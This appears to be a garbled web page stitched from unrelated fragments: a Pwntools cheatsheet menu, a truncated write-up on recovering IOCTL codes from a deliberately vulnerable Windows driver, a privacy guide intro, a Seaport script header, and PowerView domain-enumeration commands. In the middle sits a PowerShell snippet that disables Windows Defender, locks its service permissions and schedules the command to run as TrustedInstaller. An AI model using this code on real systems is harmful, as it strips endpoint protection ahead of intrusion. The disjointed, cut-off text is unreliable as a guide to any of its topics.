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Pwntools Cheatsheet

Program Interaction
Environment and Contexts
Logging and Output
Encoding, Packing and Utility
Assembly and Shellcraft
ELFs, Strings and Symbols
Return Oriented Programming
SROP and Sigreturn Frames

PyExZ3 Example with HackSysExtremeVulnerableDriver

TL;DR: Using symbolic execution to recover driver IOCTL codes that are computed at runtime.

The goal here is to find valid IOCTL codes for the HackSysExtremeVulnerableDriver by analyzing the binary. The control flow varies between the binary and source due to compiler optimizations. This results in a situation where only a few IOCTL codes in the assembly are represented as a constant with the remaining being computed at runtime.

The code in hevd_ioctl.py is a approximation of the control flow of the compiled IrpDeviceIoCtlHandler function. The effects of the compiler optimization are more pronounced when comparing this code to the original C function. To comply with requirements of the PyExZ3 module, the target function is named after the script's filename, and the `ex

The purpose of this document is to make recommendations on how to browse in a privacy and security conscious manner. This information is compiled from a number of sources, which are referenced throughout the document, as well as my own experiences with the described technologies.

I welcome contributions and comments on the information contained. Please see the How to Contribute section for information on contributing your own knowledge.

	###########
	# Imports #
	###########

	# the RPCs file should include RPC URLs and Etherscan API Keys for relevant networks
	# (in a separate file so they don't get committed)
	source "$(dirname "$0")/rpcs.sh"
	# any useful addresses for various networks for easy reference
	source "$(dirname "$0")/addresses.sh"
	# any useful functions and definitions for interacting with Seaport

	$cmdline = '/C sc.exe config windefend start= disabled && sc.exe sdset windefend D:(D;;GA;;;WD)(D;;GA;;;OW)'

	$a = New-ScheduledTaskAction -Execute "cmd.exe" -Argument $cmdline
	Register-ScheduledTask -TaskName 'TestTask' -Action $a

	$svc = New-Object -ComObject 'Schedule.Service'
	$svc.Connect()

	$user = 'NT SERVICE\TrustedInstaller'
	$folder = $svc.GetFolder('\')

	# NOTE: the most updated version of PowerView (http://www.harmj0y.net/blog/powershell/make-powerview-great-again/)
	# has an updated tricks Gist at https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993

	# get all the groups a user is effectively a member of, 'recursing up'
	Get-NetGroup -UserName <USER>

	# get all the effective members of a group, 'recursing down'
	Get-NetGroupMember -GoupName <GROUP> -Recurse

	# get the effective set of users who can administer a server

maxi mgv

Pwntools Cheatsheet

PyExZ3 Example with HackSysExtremeVulnerableDriver

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